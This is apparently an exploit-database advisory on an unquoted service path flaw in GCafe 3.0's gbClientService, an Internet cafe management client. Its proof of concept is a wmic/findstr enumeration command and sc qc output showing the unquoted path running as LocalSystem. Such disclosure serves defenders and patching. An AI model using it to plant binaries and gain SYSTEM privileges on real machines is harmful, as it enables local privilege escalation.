GCafe 3.0 Unquoted Service Path

GCafe version 3.0 suffers from a gbClienService unquoted service path vulnerability.


MD5 | 87ba1fc068e710159ab492b215c8f999

# Exploit Title: _GCafé 3.0  - 'gbClienService' Unquoted Service Path
# Google Dork: N/A
# Date: 2019-11-09
# Exploit Author: Doan Nguyen (4ll4u)
# Vendor Homepage: https://gcafe.vn/
# Software Link: https://gcafe.vn/post/view?slug=gcafe-3.0
# Version: v3.0
# Tested on: Windows 7, Win 10, WinXP
# CVE : N/A
# Description:
# GCafé 3.0 - Internet Cafe is a software that supports the management of public Internet access points

# PoC:

# wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
gbClientService gbClientService C:\Program Files\GBillingClient\gbClientService.exe Auto
#C:\>sc qc gbClientService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: gbClientService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\GBillingClient\gbClientService.exe
LOAD_ORDER_GROUP : GarenaGroup
TAG : 0
DISPLAY_NAME : gbClientService
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

C:\>

Related Posts